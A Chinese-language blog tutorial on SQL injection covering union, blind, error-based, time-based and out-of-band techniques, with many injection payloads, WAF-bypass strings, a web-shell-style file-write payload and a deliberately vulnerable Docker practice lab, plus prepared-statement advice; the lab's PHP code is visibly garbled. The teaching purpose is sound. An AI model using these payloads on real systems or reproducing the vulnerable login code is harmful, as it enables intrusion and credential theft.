[網站漏洞] 001 SQL Injection (SQLi) 基礎教學與自建 LAB 靶機

SQL Injection (SQLi) 基礎教學

本篇文章將介紹網頁常見的安全漏洞 SQL Injection(簡稱 SQLi)。首先,我們會先快速回顧 SQL 查詢語言 的基礎知識,再依序介紹常見的 SQLi 攻擊類型,例如字串型、數字型、Union 型以及 Blind SQL Injection,最後也會提供一個教學用的 SQLi 測試環境 (LAB) 供大家練習。


前言:SQL 是什麼?

「第一次接觸 SQL 語法的時候,是在攻擊資料庫……」
有些人最先使用 SQL 的場合,可能不是在開發專案或是做資料處理,而是在資訊安全的測試或駭客攻擊場景中。如果你對此感到好奇或想深入學習,那麼本文將帶你一步步了解 SQL Injection 的攻擊手法。

資料庫結構

SQL 是用來操作資料庫的語言,而資料庫 (Database) 本身會由下列結構組成:
– 資料庫 (database)
– 資料表 (table)
– 欄位 (column)
– 資料 (data)

範例如下:
資料庫結構


常見的 SQL Injection 類型

SQLi 並不只是單純地「撈資料」,它可以對應用程式做各種影響。以下為常見的攻擊方向:

  1. 查詢隱藏的資料
    • 嘗試修改原本的 SQL,取得應該被隱藏的資料。
  2. 影響應用程式邏輯
    • 修改 SQL,使應用程式執行意料外的邏輯分支(例如繞過驗證、繞過驗證碼等)。
  3. UNION 攻擊
    • 使用 UNION 敘述,將額外的查詢結果合併到原本的查詢中,取得更全面的資料或結構資訊。
  4. 檢查資料庫
    • 透過 SQL 語法,取得資料庫版本、架構等更多系統資訊。
  5. 盲 SQL 注入 (Blind SQL Injection)
    • 雖然有 SQLi 漏洞,但頁面上不會直接顯示錯誤或回傳查詢結果,需透過「真/假回應」、「延遲時間」或其他方式推敲資訊。

1. 查詢隱藏的資料

查詢隱藏的資料

假設在一個購物網站中,使用下列 URL 查詢商品類別為 Gifts

https://blog.feifei.tw/products?category=Gifts

後端收到參數 category 後,會執行:

SELECT * FROM products 
WHERE category = 'Gifts' AND released = 1
  • category = 'Gifts':查詢 Gifts 類別的商品
  • released = 1:已發布商品

如果我們希望「註解掉」AND 後面的條件,可以嘗試:

https://blog.feifei.tw/products?category=Gifts'+OR+1=1--

URL 中的 + 在網址中是空白(%20)的意思,實際查詢為:

SELECT * FROM products 
WHERE category = 'Gifts' OR 1=1--' AND released = 1

此時 OR 1=1 會使查詢返回更多資料。

SQL 註解方式
不同資料庫對於註解有不同的標記。以下為常見方式:
不同資料庫的註解方法

LAB 練習連結 (PortsWigger)


2. 影響應用程式邏輯

影響應用程式邏輯

例如某網站的登入系統,提交帳號、密碼後,後端執行:

SELECT * FROM users 
WHERE username = 'wiener' AND password = 'bluecheese'

如果我們輸入:

username: administrator'--  
password: (空)

則實際執行的 SQL 可能變成:

SELECT * FROM users 
WHERE username = 'administrator'--' AND password = ''

-- 之後的內容被註解掉,導致跳過密碼檢查,也就「繞過登入」。

LAB 練習連結 (PortsWigger)


3. UNION 攻擊

UNION 攻擊

3.1 範例

假設原查詢為:

SELECT name, description FROM products 
WHERE category = 'Gifts'

若我們透過注入在後方加入:

' UNION SELECT username, password FROM user --

整體查詢會被合併成:

SELECT name, description FROM products WHERE category = 'Gifts'
UNION 
SELECT username, password FROM user
-- 

UNION 可以將多個 SELECT 查詢的結果合併在一起,而核心的要點在於:
1. 每個子查詢要回傳相同數量的欄位(column)。
2. 對應欄位的型態需一致或可被轉換。

3.2 確定需要多少欄位

確定欄位數

  1. 利用 ORDER BY 測試
    • ORDER BY 1--
    • ORDER BY 2--
    • ORDER BY 3--
    • 直到出現錯誤,可推測欄位數大約是多少。
  2. 利用 UNION SELECT NULL 測試
    • ' UNION SELECT NULL--
    • ' UNION SELECT NULL,NULL--
    • ' UNION SELECT NULL,NULL,NULL--
    • 同樣測試直到出現錯誤。

因為 NULL 可以轉型成大部分常用的資料型態,所以常用來測試欄位數。LAB 練習連結

3.3 確認欄位型態

確認欄位型態

假設發現有四個欄位,便可逐一測試哪個欄位能放字串:

' UNION SELECT 'a', NULL, NULL, NULL--
' UNION SELECT NULL, 'a', NULL, NULL--
' UNION SELECT NULL, NULL, 'a', NULL--
' UNION SELECT NULL, NULL, NULL, 'a'--

若該欄位不能被轉成字串,會噴錯,由此判斷該欄位型態。
LAB 練習連結

3.4 跨表搜尋

跨表搜尋

假設已知資料表 users 中有 usernamepassword 欄位,可以嘗試:

' UNION SELECT username, password from users --

LAB 練習連結

3.5 在單個欄位中檢索多個值

在單個欄位中檢索多個值

若只剩一個欄位可用,可透過字串串接方式(例如 ||)把多個資訊組合在一起:

' UNION SELECT username || '~' || password FROM users --

回傳會呈現類似:

administrator~s3cure
wiener~peter
carlos~montoya
...

LAB 練習連結

MySQL 在繞過 WAF 時要特別注意空格或符號的使用方式。


4. 檢查資料庫

4.1 查詢資料庫類型與版本

常見資料庫類型有 Microsoft SQL Server、MySQL、Oracle、PostgreSQL。每種查詢版本資訊的方式略有不同:

不同資料庫的版本查詢

DUAL 空表

在 Oracle、MySQL、MSSQL 中,常會有系統預設的「空表 (DUAL)」,如:

SELECT * FROM DUAL
  • Oracle 通常必須加上 DUAL 才能正確執行查詢。

4.2 列出資料庫裡的所有內容

資料庫結構查詢 (MySQL/MSSQL)
information_schema
整理招式

MySQL / MSSQL

在 MySQL 中,information_schema 保存了資料庫、資料表、欄位等中繼資料:

  • information_schema.schemataschema_name (資料庫名稱)
  • information_schema.tablestable_name (資料表名稱),關聯欄位 table_schema (對應資料庫名稱)
  • information_schema.columnscolumn_name (欄位名稱),關聯 table_name (對應資料表)
-- 取得所有資料庫清單
SELECT schema_name 
FROM information_schema.schemata;

-- 在知道資料庫名稱後,查找該資料庫中的所有資料表
SELECT table_name 
FROM information_schema.tables 
WHERE table_schema='資料庫名稱';

-- 在知道資料表後,查找該資料表中的所有欄位
SELECT column_name 
FROM information_schema.columns 
WHERE table_name='資料表名稱';

-- 最後再真正撈取該表的所有資料
SELECT 欄位名稱 
FROM 資料庫名稱.資料表名稱;

LAB 練習連結

Oracle

  • SELECT table_name FROM all_tables;
  • SELECT column_name FROM all_tab_columns WHERE table_name='資料表名稱';
  • SELECT 欄位名稱 FROM 資料庫名稱.資料表名稱;

LAB 練習連結 (Oracle)

不同資料庫的中繼資料查詢方法


5. 盲 SQL 注入 (Blind SQL Injection)

5.1 何謂盲 SQL 注入

盲 SQL 注入

當網站存在 SQL Injection 的漏洞,但網頁或回應不直接顯示錯誤或回傳查詢結果時,就會出現「盲 SQL 注入」。這時候無法使用先前類似 UNION 的方法直接取得想要的資料,需要透過「條件回應」、「延遲時間」或其他技巧推敲出資料庫資訊。

5.2 通過「條件回應」來利用盲 SQL 注入

條件回應測試
字串切割方法

假設伺服器會透過 Cookie 參數 TrackingId 檢查該使用者是否已存在資料庫 TrackedUsers 中。若查詢到符合的記錄,就在前端顯示「Welcome back」。

  1. 測試 1:
    TrackingId = x' UNION SELECT 'a' WHERE 1=1--
    
    • 1=1 回傳 true,畫面就顯示「Welcome back」。
  2. 測試 2:
    TrackingId = x' UNION SELECT 'a' WHERE 1=2--
    
    • 1=2 回傳 false,畫面不顯示「Welcome back」。

若想測試資料庫中是否存在使用者 administrator,可以:

TrackingId = x' UNION SELECT 'a' FROM users WHERE username='administrator'--

一旦確定有該使用者,可以進一步使用 布林法「二分搜尋」的概念,一個字元一個字元地猜測密碼:

TrackingId = x' UNION SELECT 'a' 
FROM Users 
WHERE Username = 'Administrator' 
  AND SUBSTRING(Password, 1, 1) > 'm' --
  • 若回應仍顯示「Welcome back」,表示第一個字元 ascii 大於 'm'
  • 反之,若不顯示,則表示第一個字元小於 'm'

透過不斷的比對,即可慢慢猜出完整密碼。

LAB 練習連結

5.3 通過觸發 SQL 錯誤 (Error-based) 來誘導條件回應

透過錯誤偵測
條件分支與錯誤訊息

如果頁面不會顯示任何差異,但能透過「是否觸發資料庫錯誤」來判斷條件 true/false,依然可以執行盲注。
例如:

TrackingId = x' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--
  • 1=2 為 false,不會執行 1/0,所以不會噴錯。
TrackingId = x' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--
  • 1=1 為 true,導致 1/0 錯誤,進而出現資料庫錯誤訊息。

同理也可用於測試「SUBSTRING(password,1,1) 大於某字元」之條件,藉由是否噴錯來判斷 true/false。

LAB 練習連結

Boolean Based SQL Injection
常使用二分搜尋法去猜字元的 ascii,觀察回應是否正確、錯誤、或空白等差異。

5.4 通過「時間延遲」(Time-based) 來利用盲 SQL 注入

時間延遲

如果資料庫錯誤被網站處理掉,或是沒有任何顯示差異,我們可以利用特定敘述觸發「延遲」,透過回應時間的差別來判斷條件。

在 Microsoft SQL Server 中常見語法:

'; IF (1=1) WAITFOR DELAY '0:0:10'--
  • 1=1 為 true,則會延遲 10 秒再回應。若不符合條件則不延遲。

LAB 練習連結

同理,也能使用延遲的方式一個字元一個字元猜測 administrator 的密碼。

不同資料庫也會有不同的「延遲」語法,如 MySQL 的 SLEEP() 函數,PostgreSQL 的 pg_sleep() 等。

5.5 使用 Out-of-band (OAST) 技術

若目標網站對所有查詢結果或錯誤訊息都不顯示,也無法觀察到延遲時間,那可能要利用 DNS 等外部互動(Out-of-Band)來取得資料,或驗證條件是否為真。

舉例,對 Microsoft SQL Server 發送:

'; exec master..xp_dirtree '//xxxxx.burpcollaborator.net/a'--

當資料庫嘗試讀取該路徑,就會觸發一筆 DNS Query 到 xxxxx.burpcollaborator.net,讓我們在外部看到流量並推斷條件結果。


6. 如何檢測 SQL Injection 漏洞

  1. 嘗試輸入單引號 ',觀察是否噴錯或出現異常。
  2. 插入特定的 SQL 關鍵字或符號,觀察回應有無變化。
  3. 測試布林條件:
    • OR 1=1 vs. OR 1=2
    • 比較回應差異。
  4. 時間延遲:
    • 投入延遲語法,判斷是否有明顯延遲。
  5. OAST(Out-of-Band)
    • 使用帶外技術觸發 DNS 或 HTTP 請求到外部,觀察是否有出現請求。

7. SQL 注入查詢的不同部分

SQL Injection 查詢位置

  • 大部分 SQLi 漏洞發生在 SELECT 語法的 WHERE 子句。
  • 其他常見位置:
    • UPDATE 語法中的 WHERE 條件或更新內容。
    • INSERT 語法中的新欄位值。
    • SELECT 中的表名稱或欄位名稱。
    • ORDER BY 子句等。

8. 第二階段 SQL 注入 (Second-order SQL Injection)

  1. 第一階段 SQL 注入:使用者輸入後台立即執行,馬上可看到漏洞效果。
  2. 第二階段 SQL 注入
    • 使用者輸入的資料先被「安全地」儲存至資料庫,不會立即觸發漏洞。
    • 但系統裡有另一個功能或程式,會取出這段「不安全字串」再次進行 SQL 查詢,這才造成漏洞。

9. 資料庫特定注意事項

  • 雖然主流資料庫的核心功能大同小異,但有些細節需要注意:
    • 字串連接的方式(||+CONCAT() …等)。
    • 不同註解符號(--#/*...*/)。
    • 是否支援批次查詢或多敘述執行(Stacked Queries)。
    • 平台特定的 API 或函數。
    • 錯誤訊息格式、是否回傳詳細資訊等。

10. 如何防止 SQL Injection

  • 絕對避免 直接拼接 SQL 字串:
    // 錯誤示範
    String query = "SELECT * FROM products WHERE category = '" + input + "'";
    Statement statement = connection.createStatement();
    ResultSet resultSet = statement.executeQuery(query);
    
  • 使用參數化查詢(Prepared Statement):
    // 正確示範
    PreparedStatement statement = connection.prepareStatement(
      "SELECT * FROM products WHERE category = ?"
    );
    statement.setString(1, input);
    ResultSet resultSet = statement.executeQuery();
    

11. 組合技能:SQL Injection – RCE / LFI

  • 寫檔案
    1 union select 1,2,3,4,5,"<? phpinfo(); ?>" into outfile "/var/www/html/test.php"
    

    或無 union 寫法:

    1 into outfile '/var/www/html/test.php' fields terminated by "<? phpinfo(); ?>"
    
  • 讀取檔案
    union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
    

12. SQLi Bypass WAF

OWASP – SQL Injection Bypassing WAF

  • 空白繞過
    • /?id=1+un/**/ion+sel/**/ect+1,2,3--
    • +UnIOn%0d%0aSeleCt%0d%0a
    • /?id=(1)or(0x50=0x50)
  • 引號繞過
    • concat(0x223e,@@version)

13. 參考與推薦文章


14. 自製 SQLi 測試環境 (LAB)

假設想要自己搭建一個練習 SQLi 的環境,可參考以下架構:

14.1 目錄結構

  • server/
    • config.php
    • index.php
    • login.php
  • db/
    • db.sql
  • docker-compose.yml

14.2 server/config.php

<?php
db_server = "dbtesst";db_user = "root";
db_password = "AYgSMEucvEhpKzkchF5hRgd5vhnDyexY";db_name = "test";
pdo = new PDO("mysql:host=db_server;dbname=db_name;charset=utf8mb4",db_user,$db_password);
?>

14.3 server/index.php

<form method="POST" action="login.php">
    <input id="username" placeholder="Username" required="" autofocus="" type="text" name="username">
    <input id="password" placeholder="Password" required="" type="password" name="password">
    <button type="submit">登入</button>
</form>

14.4 server/login.php

<?php
flag = "CTF{Meowmeow}";
if( !isset(_POST['username']) || !isset(_POST['password']) ||_POST['username']=="" || _POST['password']=="" ){
    header("Location: index.php");
}username = _POST['username'];password = sha1(_POST['password']);

require_once('config.php');sql = "SELECT * FROM users WHERE username = 'username' and password = 'password';";
stmt =pdo->query(sql);success = count(stmt->fetchAll())>0;text = "";
success ?text = flag  :text = "登入失敗";
echo $text;
?>

14.5 db/db.sql

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+08:00";

CREATE TABLE users (
  id int(11) NOT NULL auto_increment,
  username varchar(64) NOT NULL,
  password varchar(64) NOT NULL,
  PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

INSERT INTO users (id, username, password) VALUES ("1", "nuty", "006f9a5cf5441f870b1a8162ae22a224954593fe");
INSERT INTO users (id, username, password) VALUES ("2", "nqgr", "c15f9bd9f6a3c861d33ec3f9438fcda226b1c60e");
INSERT INTO users (id, username, password) VALUES ("3", "ombz", "d79cfc4e59227a39f822ddb78df646ba9956921d");
INSERT INTO users (id, username, password) VALUES ("4", "pgid", "e62729cb639d51be23dc8af9f3a4a3d88f6fc3ff");
INSERT INTO users (id, username, password) VALUES ("5", "fsfw", "54bab02c812928ce5ab1beb02c95514b87508449");

14.6 docker-compose.yml

version: "2"
services:
    web:
        image: php:7-apache
        ports: 
            - "8001:80"
        volumes:
            - ./server:/var/www/html/
        links:
            - db
        networks:
            - default
    db:
        image: mysql:5.7
        environment:
            MYSQL_DATABASE: dbtest
            MYSQL_ROOT_PASSWORD: AYgSMEucvEhpKzkchF5hRgd5vhnDyexY
        volumes:
            - ./db:/docker-entrypoint-initdb.d
            - persistent:/var/lib/mysql
        networks:
            - default
飛飛
飛飛